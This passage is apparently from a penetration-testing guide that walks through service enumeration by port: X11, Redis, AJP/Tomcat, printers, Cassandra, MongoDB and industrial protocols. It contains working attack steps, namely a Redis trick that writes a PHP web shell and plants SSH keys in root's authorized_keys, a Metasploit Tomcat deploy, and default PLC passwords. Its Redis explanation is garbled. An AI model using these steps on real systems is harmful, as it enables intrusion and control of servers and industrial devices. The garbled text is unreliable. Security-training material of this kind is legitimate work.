bitmap unit, bit order, padding: 32, LSBFirst, 32
image byte order: LSBFirst
number of supported pixmap formats: 6
supported pixmap formats:
    depth 1, bits_per_pixel 1, scanline_pad 32
    depth 4, bits_per_pixel 8, scanline_pad 32
    depth 8, bits_per_pixel 8, scanline_pad 32
    depth 15, bits_per_pixel 16, scanline_pad 32
    depth 16, bits_per_pixel 16, scanline_pad 32
    depth 24, bits_per_pixel 32, scanline_pad 32
keycode range: minimum 8, maximum 255
focus: window 0x600005, revert to Parent
number of extensions: 11
    FontCache
    MIT-SCREEN-SAVER
    MIT-SHM
    RECORD
    SECURITY
    SHAPE
    XC-MISC
    XFree86-DGA
    XFree86-VidModeExtension
    XInputExtension
    XVideo
default screen number: 0
number of screens: 1
screen #0:
dimensions: 1024x768 pixels (347x260 millimeters)
resolution: 75x75 dots per inch
depths (6): 16, 1, 4, 8, 15, 24
root window id: 0x25
depth of root window: 16 planes
number of colormaps: minimum 1, maximum 1
default colormap: 0x20
default number of colormap cells: 64
```

```
preallocated pixels:    black 0, white 65535
options:    backing-store NO, save-unders NO
largest cursor:    32x32
current input event mask:    0x0
number of visuals:    2
default visual id:    0x21
visual:
visual id:    0x21
class:    TrueColor
depth:    16 planes
available colormap entries:    64 per subfield
red, green, blue masks:    0xf800, 0x7e0, 0x1f
significant bits in color specification:    6 bits
visual:
visual id:    0x22
class:    DirectColor
depth:    16 planes
available colormap entries:    64 per subfield
red, green, blue masks:    0xf800, 0x7e0, 0x1f
significant bits in color specification:    6 bits
```

xwd

To take the **screenshot** use:

```
xwd -root -display 10.20.xx.xx:0 -out xdump.xdump
display xdump.xdump
```

xwininfo

live viewing:

First we need to find the ID of the window using xwininfo

```
xwininfo -root -display 10.9.xx.xx:0

xwininfo: Window id: 0x45 (the root window) (has no name)

Absolute upper-left X: 0
Absolute upper-left Y: 0
Relative upper-left X: 0
```

```
Relative upper-left Y: 0
Width: 1024
Height: 768
Depth: 16
Visual: 0x21
Visual Class: TrueColor
Border width: 0
Class: InputOutput
Colormap: 0x20 (installed)
Bit Gravity State: ForgetGravity
Window Gravity State: NorthWestGravity
Backing Store State: NotUseful
Save Under State: no
Map State: IsViewable
Override Redirect State: no
Corners: +0+0 -0+0 -0-0 +0-0
-geometry 1024x768+0+0
```

XWatchwin

For **live viewing** we need to use

```
./xwatchwin [-v] [-u UpdateTime] DisplayName { -w windowID | WindowName } -w w
./xwatchwin 10.9.xx.xx:0 -w 0x45
```

Redis - Port 6379

Nmap

- redis info script

Metasploit

has three modules on redis:

- login
- info and

- file upload

Other

The below is taken from [tfairane redis](#) where he has presented a write up for a Vulnhub machine

- First, the web server on the server broadcasts, including a simple PHP code and create a back door, which will help us to execute commands on the server. Or it will enable us to take direct shell weevily, webacoo to upload the files we create with tools like.

```
CONFIG SET dir /var/www/html/  
CONFIG SET dbfilename shell.php  
CONFIG GET dbfilename  
1) "dbfilename"  
2) "bomba.php"  
  
SET cmd "<?php system($_GET['cmd']); ?>"  
OK  
BGSAVE
```

which can be accessed using

```
http://IP/shell.php?cmd=whoami  
www-data
```

- Second, file type found in the users home directory because it is our right and remote SSH access with a key instead of using the password used to connect to create key, they may be directly unencrypted user rights that provide access to the system.

```
1: ssh-keygen -t rsa  
2:  
3: (echo -e "\n"; cat id_rsa.pub; echo -e "\n") > auth_key  
4:  
5: cat auth_key | redis-cli -h hostname -x set crackit  
6: redis-cli -h hostname  
7:  
8: config set dir /root/.ssh/  
9: config get dir  
10: config set dbfilename "authorized_keys"
```

```
11: save
12:
13: config set dir /home/user/.ssh/
14: save
15:
16: config set dir /home/admin/.ssh/
17:
18: ssh user@kevgir -p 1322 -i id_rsa
```

- 1 - He has given parameters in line with a 2048-bit RSA key pair is generated. We can give it a password when we log in.
- 3 - The public key of his own and to receive the new line last line auth_key name we are writing a new file. We will upload this file to the target machine via the Redis server.
- 5 and 6. data from the key input in the standard line that we say we do, and then take the memory contents auth_key entry Redis server.
- 8, 9, 10, 11 in which the location of the file content to be installed in the line number, which is stated to be added to the bottom of the file. SAVE transactions made by the commands are processed on the server side to make it happen.
- 13 and 16 lines in the root of the same process that we have done for other users in order to gain access with the privileges they also inside the ssh folder in the main folder authorized_keys are doing the same procedure for writing to file.

AJP Apache JServ Protocol - Port 8009

The Tomcat manager interface is usually accessed on the Tomcat HTTP(S) port. but we often do forget that we can also access that manager interface on port 8009 that by default handles the AJP (Apache JServ Protocol) protocol.

Note

AJP is a wire protocol. Its an optimized version of the HTTP protocol to allow a standalone web server such as Apache to talk to Tomcat. Historically, Apache has been much faster than Tomcat at serving static content. The idea is to let Apache serve the static content when possible, but proxy the request to Tomcat for Tomcat related contents.

Sometimes we do encounter situation where port:8009 is open and the rest port 8080,8180,8443 or 80 are closed. in these kind of scenario we can use metasploit framework to exploit the services running. Here, we can configure Apache to proxy the requests to Tomcat port 8009. details for doing so is given in the reference. Below is an overview of the commands (apache must already be installed) as mentioned in [8009 The Forgotten Tomcat Port](#).

```
sudo apt-get install libapache2-mod-jk
sudo vim /etc/apache2/mods-available/jk.conf
# Where to find workers.properties
# Update this path to match your conf directory location
JkWorkersFile /etc/apache2/jk_workers.properties
# Where to put jk logs
# Update this path to match your logs directory location
JkLogFile /var/log/apache2/mod_jk.log
# Set the jk log level [debug/error/info]
JkLogLevel info
# Select the log format
JkLogStampFormat "[%a %b %d %H:%M:%S %Y]"
# JkOptions indicate to send SSL KEY SIZE,
JkOptions +ForwardKeySize +ForwardURICCompat -ForwardDirectories
# JkRequestLogFormat set the request format
JkRequestLogFormat "%w %V %T"
# Shm log file
JkShmFile /var/log/apache2/jk-runtime-status
sudo ln -s /etc/apache2/mods-available/jk.conf /etc/apache2/mods-enabled/jk.conf
sudo vim /etc/apache2/jk_workers.properties
# Define 1 real worker named ajp13
worker.list=ajp13
# Set properties for worker named ajp13 to use ajp13 protocol,
# and run on port 8009
worker.ajp13.type=ajp13
worker.ajp13.host=localhost
worker.ajp13.port=8009
worker.ajp13.lbfactor=50
worker.ajp13.cachesize=10
worker.ajp13.cache_timeout=600
worker.ajp13.socket_keepalive=1
worker.ajp13.socket_timeout=300
sudo vim /etc/apache2/sites-enabled/000-default
JkMount /* ajp13
JkMount /manager/ ajp13
```



```
JkMount /manager/* ajp13
JkMount /host-manager/ ajp13
JkMount /host-manager/* ajp13
sudo a2enmod proxy_ajp
sudo a2enmod proxy_http
sudo /etc/init.d/apache2 restart
```

here we have to set the worker.ajp13.host to the correct host and we can just point out the metasploit tomcat exploit to localhost:80 and compromise.

```
msf exploit(tomcat_mgr_deploy) > show options

Module options (exploit/multi/http/tomcat_mgr_deploy):

Name      Current Setting  Required  Description
-----
PASSWORD  tomcat           no        The password for the specified username
PATH      /manager         yes       The URI path of the manager app (/deploy
Proxies                   no        Use a proxy chain
RHOST     localhost       yes       The target address
RPORT     80              yes       The target port
USERNAME  tomcat          no        The username to authenticate as
VHOST                   no        HTTP server virtual host
```

- References:
 - [Connectors](#)
 - [AJPv13](#)
 - [Configure modjk with apache](#)

PJL - Port 9100

Metasploit

There are multiple modules in the metasploit for PJJ.

Name	Disclosure Date	Rank	Desc
----	-----	----	----
auxiliary/scanner/printer/printer_delete_file		normal	Prir
auxiliary/scanner/printer/printer_download_file		normal	Prir
auxiliary/scanner/printer/printer_env_vars		normal	Prir
auxiliary/scanner/printer/printer_list_dir		normal	Prir
auxiliary/scanner/printer/printer_list_volumes		normal	Prir
auxiliary/scanner/printer/printer_ready_message		normal	Prir
auxiliary/scanner/printer/printer_upload_file		normal	Prir
auxiliary/scanner/printer/printer_version_info		normal	Prir
auxiliary/server/capture/printjob_capture		normal	Prir

As of now, We only got a chance to use

Printer Version Information Scanner

Scans for printer version information using the Printer Job Language (PJP) protocol.

```
use auxiliary/scanner/printer/printer_version_info
```

Sample Output:

```
[+] 10.10.xx.xx:9100 - HP LaserJet M1522nf MFP
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

Nmap

PJP-ready-message

[PJP-ready-message](#) : It retrieves or sets the ready message on printers that support the Printer Job Language. This includes most PostScript printers that listen on port 9100. Without an argument, displays the current ready message. With the pjl_ready_message script argument, displays the old ready message and changes it to the message given.

Sample Output:

```
nmap --script=pjl-ready-message.nse -n -p 9100 10.10.xx.xx
```

```
Nmap scan report for 10.10.xx.xx  
Host is up (0.14s latency).  
PORT      STATE SERVICE  
9100/tcp  open  jetdirect  
|_pjl-ready-message: "Processing..."
```

Apache Cassandra - Port 9160

For Apache Cassandra,

NMap

Cassandra-info

[cassandra-info.nse](#) which attempts to get basic info and server status from a Cassandra database.

Sample Output:

```
nmap -p 9160 10.10.xx.xx -n --script=cassandra-info  
  
Starting Nmap 7.01 (https://nmap.org) at 2016-03-27 21:14 IST  
Nmap scan report for 10.10.xx.xx  
Host is up (0.16s latency).  
PORT      STATE SERVICE  
9160/tcp  open  cassandra  
|_cassandra-info:  
|   Cluster name: Convoy  
|_   Version: 19.20.0
```

Cassandra-brute

[cassandra-brute](#) which performs brute force password auditing against the Cassandra database.

Sample Output:

```
nmap -p 9160 122.166.xx.xx -n --script=cassandra-brute

Starting Nmap 7.01 (https://nmap.org) at 2016-03-27 21:19 IST
Nmap scan report for 122.166.xx.xx
Host is up (0.083s latency).
PORT      STATE SERVICE
9160/tcp  open  apanil
|_cassandra-brute: Any username and password would do, 'default' was used to t
```

Network Data Management Protocol (ndmp) - Port 10000

Nmap

ndmp-fs-info

[ndmp-fs-info.nse](#) can be used to list remote file systems

```
services -s ndmp -p 10000
services -p 10000 -s ndmp -o /tmp/ndmp.ports
cat /tmp/ndmp.ports | cut -d , -f1 | tr -d \" | grep -v host > /tmp/ndmp.ports
```

Pass this to nmap

```
nmap -p 10000 --script ndmp-fs-info -n -iL /tmp/ndmp.ports.2
```

Sample Output:

```
| ndmp-fs-info:
| FS      Logical device      Physical device
| NTFS    C:                  Device0000
| NTFS    D:                  Device0000
| NTFS    E:                  Device0000
| RMAN    Oracle-Win: \\TRDPLM\\WIND Device0000
| UNKNOWN Shadow Copy Components Device0000
|_UNKNOWN System State       Device0000
```

ndmp-version

[ndmp-version](#) : Retrieves version information from the remote Network Data Management Protocol (ndmp) service. NDMP is a protocol intended to transport data between a NAS device and the backup device, removing the need for the data to pass through the backup server. This nse although is not outputting the version correctly, however if we switch to `-script-trace` we do find the versions

```
00000010: 00 00 01 08 00 00 00 02 00 00 00 00 00 00 00 00
00000020: 00 00 00 17 56 45 52 49 54 41 53 20 53 6f 66 74 VERITAS Soft
00000030: 77 61 72 65 2c 20 43 6f 72 70 2e 00 00 00 00 13 ware, Corp.
00000040: 52 65 6d 6f 74 65 20 41 67 65 6e 74 20 66 6f 72 Remote Agent for
00000050: 20 4e 54 00 00 00 00 03 36 2e 33 00 00 00 00 03 NT 6.3
00000060: 00 00 00 be 00 00 00 05 00 00 00 04

NSOCK INFO [5.0650s] nsock_trace_handler_callback(): Callback: READ SUCCESS fo
NSE: TCP 10.10.xx.xx:40435 < 10.10.9.12:10000 | 00000000: 80 00 00 68 00 00 00
00000010: 00 00 01 08 00 00 00 02 00 00 00 00 00 00 00 00
00000020: 00 00 00 17 56 45 52 49 54 41 53 20 53 6f 66 74 VERITAS Soft
00000030: 77 61 72 65 2c 20 43 6f 72 70 2e 00 00 00 00 13 ware, Corp.
00000040: 52 65 6d 6f 74 65 20 41 67 65 6e 74 20 66 6f 72 Remote Agent for
00000050: 20 4e 54 00 00 00 00 03 36 2e 33 00 00 00 00 03 NT 6.3
```

Memcache - Port 11211

Memcached is a free & open source, high-performance, distributed memory object caching system.

Nmap

memcached-info

[memcached-info](#) : Retrieves information (including system architecture, process ID, and server time) from distributed memory object caching system memcached.

Sample Output:

```
nmap -p 11211 --script memcached-info 10.10.xx.xx

Starting Nmap 7.01 (https://nmap.org) at 2016-03-27 02:48 IST
Nmap scan report for email.xxxxxx.com (10.10.xx.xx)
Host is up (0.082s latency).
PORT      STATE SERVICE
11211/tcp  open  unknown
| memcached-info:
|   Process ID           4252
|   Uptime                1582276 seconds
|   Server time          2016-03-26T21:18:15
|   Architecture        64 bit
|   Used CPU (user)      25.881617
|   Used CPU (system)    17.413088
|   Current connections  14
|   Total connections    41
|   Maximum connections  1024
|   TCP Port             11211
|   UDP Port             11211
|_  Authentication       no

Nmap done: 1 IP address (1 host up) scanned in 1.13 seconds
```

Other

We can also telnet to this port: Stats is one of the commands

```
telnet 10.10.xx.xx 11211
stats
STAT pid 4252
STAT uptime 1582386
STAT time 1459027205
STAT version 1.4.10
STAT libevent 2.0.16-stable
STAT pointer_size 64
STAT rusage_user 25.889618
STAT rusage_system 17.417088
STAT curr_connections 14
STAT total_connections 42
STAT connection_structures 15
STAT reserved_fds 20
STAT cmd_get 3
```

```
STAT cmd_set 3
STAT cmd_flush 0
STAT cmd_touch 0
STAT get_hits 2
STAT get_misses 1
STAT delete_misses 0
STAT delete_hits 0
STAT incr_misses 0
STAT incr_hits 0
STAT decr_misses 0
STAT decr_hits 0
STAT cas_misses 0
STAT cas_hits 0
STAT cas_badval 0
STAT touch_hits 0
STAT touch_misses 0
STAT auth_cmds 0
STAT auth_errors 0
STAT bytes_read 775
STAT bytes_written 26158
STAT limit_maxbytes 67108864
STAT accepting_conns 1
STAT listen_disabled_num 0
STAT threads 4
STAT conn_yields 0
STAT hash_power_level 16
STAT hash_bytes 524288
STAT hash_is_expanding 0
STAT expired_unfetched 0
STAT evicted_unfetched 0
STAT bytes 87
STAT curr_items 1
STAT total_items 1
STAT evictions 0
STAT reclaimed 0
END
```

Sensepost has written a tool [go-derper](#) and a article here [blackhat-write-up-go-derper-and-mining-memcaches](#) Blackhat slides [Lifting the Fog](#)

MongoDB - Port 27017 and Port 27018

[mongodb](#) provides a good walkthru how to check for vulns in mongodb;

Metasploit

MongoDB Login Utility

Module attempts to brute force authentication credentials for MongoDB. Note that, by default, MongoDB does not require authentication. This can be used to check if there is no-authentication on the MongoDB by setting blank_passwords to true. This can also be checked using the Nmap nse mongodb-brute

```
use auxiliary/scanner/mongodb/mongodb_login
```

Sample Output:

```
[*] Scanning IP: 10.169.xx.xx  
[+] Mongo server 10.169.xx.xx doesn't use authentication
```

Nmap

Nmap has three NSEs for mongo db databases

Mongodb-info

```
nmap 10.169.xx.xx -p 27017 -sV --script mongodb-info  
  
Starting Nmap 7.01 (https://nmap.org) at 2016-03-26 02:23 IST  
Nmap scan report for mongod.example.com (10.169.xx.xx)  
Host is up (0.088s latency).  
PORT      STATE SERVICE VERSION  
27017/tcp open  mongodb MongoDB 2.6.9 2.6.9  
| mongodb-info:  
|   MongoDB Build info  
|   OpenSSLVersion =  
|   compilerFlags = -Wnon-virtual-dtor -Woverloaded-virtual -fPIC -fno-strict-aliasing  
|   loaderFlags = -fPIC -pthread -Wl,-z,now -rdynamic  
|   version = 2.6.9
```



```
ok = 1
maxBsonObjectSize = 16777216
debug = false
bits = 64
javascriptEngine = V8
sysInfo = Linux build20.mongod.example.com 2.6.32-431.3.1.el6.x86_64 #1
versionArray
  1 = 6
  2 = 9
  3 = 0
  0 = 2
allocator = tcmalloc
gitVersion = df313bc75aa94d192330cb92756fc486ea604e64
Server status
opcounters
  query = 19752
  update = 1374
  insert = 71735056
  command = 78465013
  delete = 121
  getmore = 4156
  connections
    available = 795
    totalCreated = 4487
    current = 24
  uptimeMillis = 3487298933
  localTime = 1458938079849
  metrics
    getLastError
      wtime
        num = 0
        totalMillis = 0
    uptimeEstimate = 3455635
    version = 2.6.9
    uptime = 3487299
  network
    bytesOut = 17159001651
    numRequests = 78517212
    bytesIn = 73790966211
  host = nvt-prod-05
  mem
    supported = true
    virtual = 344
    resident = 31
    bits = 64
```

```
pid = 25964
extra_info
  heap_usage_bytes = 2798848
  page_faults = 16064
  note = fields vary by platform
asserts
  warning = 1
  regular = 1
  rollovers = 0
  user = 11344
  msg = 0
process = mongos
ok = 1
```

Service detection performed. Please report any incorrect results at <https://nmap.org>
Nmap done: 1 IP address (1 host up) scanned in 7.42 seconds

Mongodb-database

To find the databases in the mongodb.

```
nmap 122.169.xx.xx -p 27017 -sV --script mongodb-databases.nse
```

```
Starting Nmap 7.01 (https://nmap.org) at 2016-03-26 02:23 IST
Nmap scan report for mongod.example.com (10.169.xx.xx)
```

```
Host is up (0.090s latency).
```

```
PORT      STATE SERVICE VERSION
27017/tcp open  mongodb MongoDB 2.6.9
```

```
| mongodb-databases:
```

```
| ok = 1
| databases
| 1
|   shards
|   rs0 = 1
|     sizeOnDisk = 1
|   empty = true
|   name = test
| 0
|   shards
|   rs0 = 21415067648
|   rs1 = 17122197504
|   sizeOnDisk = 38537265152
```

```
|      empty = false
|      name = genprod
|  3
|      sizeOnDisk = 16777216
|      empty = false
|      name = admin
|  2
|      sizeOnDisk = 50331648
|      empty = false
|      name = config
|  totalSize = 38537265153
|_ totalSizeMb = 36752
```

Mongodb-BruteForce

```
nmap 10.169.xx.xx -p 27017 -sV --script mongodb-brute -n

Starting Nmap 7.01 (https://nmap.org) at 2016-03-26 02:28 IST
Nmap scan report for 122.169.xx.xx
Host is up (0.086s latency).
PORT      STATE SERVICE VERSION
27017/tcp open  mongodb MongoDB 2.6.9
|_mongodb-brute: No authentication needed
```

Other

Connection String

```
mongodb://[username:password@]host[:port][/[database][?options]]

mongodb://      A required prefix to identify that this is a string in the star
username:password@  Optional. If specified, the client will attempt to log
host      Required. It identifies a server address to connect to. It identifies e

/database      Optional. The name of the database to authenticate if the conne
```

Mongo-shell

This database can be connected using

```
mongo 10.169.xx.xx /databasename
MongoDB shell version: 2.4.10
connecting to: 122.169.xx.xx/test
```

Show DBS can be used to see the current databases;

```
mongos> show dbs
admin      0.015625GB
config     0.046875GB
genprod    35.890625GB
test (empty)
```

Use command can be used select the database

```
mongos> use admin
switched to db admin
```

Show collections can be used to see the tables;

```
mongos> show collections
nxae
system.indexes
system.users
system.version

db.foo.find()           list objects in collection foo

::

db.system.users.find()
{ "_id" : "test.root", "user" : "root", "db" : "test", "credentials" : { "MON
{ "_id" : "genprod.root", "user" : "root", "db" : "genprod", "credentials" :
```

It is important that to have a look at the [Mongo Shell Methods](#) There are methods such as collection, cursor etc. In Collection, there are

- `db.collection.deleteOne()` Deletes a single document in a collection.
- `db.collection.find()` Performs a query on a collection or a view and returns a cursor object.
- `db.collection.insert()` Creates a new document in a collection.
- and others

In cursor method, there are

- `cursor.forEach()` Applies a JavaScript function for every document in a cursor. The following example invokes the `forEach()` method on the cursor returned by `find()` to print the name of each user in the collection:

```
db.users.find().forEach( function(myDoc) { print( "user: " + myDoc.name )
```

- `cursor.toArray()` Returns an array that contains all documents returned by the cursor.
- and others

EthernetIP-TCP-UDP - Port 44818

If we found TCP Port 44818, probably it's running Ethernet/IP. Rockwell Automation/ Allen Bradley developed the protocol and is the primary maker of these devices, e.g. ControlLogix and MicroLogix, but it is an open standard and a number of vendors offer an EtherNet/IP interface card or solution.

[Redpoint](#) has released a NSE for enumeration of these devices

Nmap

enip-enumerate

```
nmap -p 44818 -n --script enip-enumerate x.x.x.x -Pn

Starting Nmap 7.01 (https://nmap.org) at 2016-03-25 18:49 IST
Nmap scan report for x.x.x.x
Host is up (0.83s latency).
```

```
PORT      STATE SERVICE
44818/tcp open  EtherNet/IP
| enip-enumerate:
|   Vendor: Rockwell Automation/Allen-Bradley (1)
|   Product Name: 1766-L32BXB B/10.00
|   Serial Number: 0x40605446
|   Device Type: Programmable Logic Controller (14)
|   Product Code: 90
|   Revision: 2.10
|_  Device IP: 192.168.xx.xx
```

Rockwell Automation has

- MicroLogix 1100: Default Username:password is administrator:ml1100
- MicroLogix 1400: Default Username:password is administrator:ml1400 User manual is [MicroLogix 1400](#) guest:guest is another default password.

UDP BACNet - Port 47808

If we found UDP Port 47808 open, we can use BACnet-discover-enumerate NSE created by [Redpoint](#) Should read [Discover Enumerate bacnet devices](#)

BACNet-discover-enumerate

```
nmap -sU -p 47808 -n -vvv --script BACnet-discover-enumerate --script-args full
Nmap scan report for 182.X.X.X
Host is up (0.11s latency).
PORT      STATE SERVICE
47808/udp open  BACNet -- Building Automation and Control Networks
| BACnet-discover-enumerate:
|   Vendor ID: Automated Logic Corporation (24)
|   Vendor Name: Automated Logic Corporation
|   Object-identifier: 2404999
|   Firmware: BOOT(id=0,ver=0.01:001,crc=0x0000) MAIN(id=3,ver=6.00a:008,crc=0x0000)
|   Application Software: PRG:carrier_19xrv_chiller_01_er_mv
|   Object Name: device2404999
|   Model Name: LGR1000
|   Description: Device Description
|   Location: Device Location
|_  Broadcast Distribution Table (BDT):
```

```
| 182.X.X.X:47808  
|_ Foreign Device Table (FDT): Empty Table
```

Others

- [MODBUS Pentest Framework](#)

Changelog

1 Comment

tech.bitvijays.com

 Login ▾

 Recommend

 Tweet

 Share

Sort by Best ▾



Join the discussion...

LOG IN WITH

OR SIGN UP WITH DISQUS 



Name



Maina Mathenge • 2 years ago

very informative

25 ^ | ▾ • Reply • Share ▸

ALSO ON TECH.BITVIJAYS.COM

Infrastruture PenTest Series : Part 3 - Exploitation¶

1 comment • 2 years ago



Anthony Esdaile — Amazing work what a great contribution to the community i was wondering if there was anything comparable

Feedback — tech.bitvijays.com

2 comments • 2 years ago



Rowan Sheridan — this sums up my thoughts too

 Subscribe

 Add Disqus to your site

 Disqus' Privacy Policy

DISQUS

tech.bitvijays.com »

© Copyright 2017, Vijay Kumar.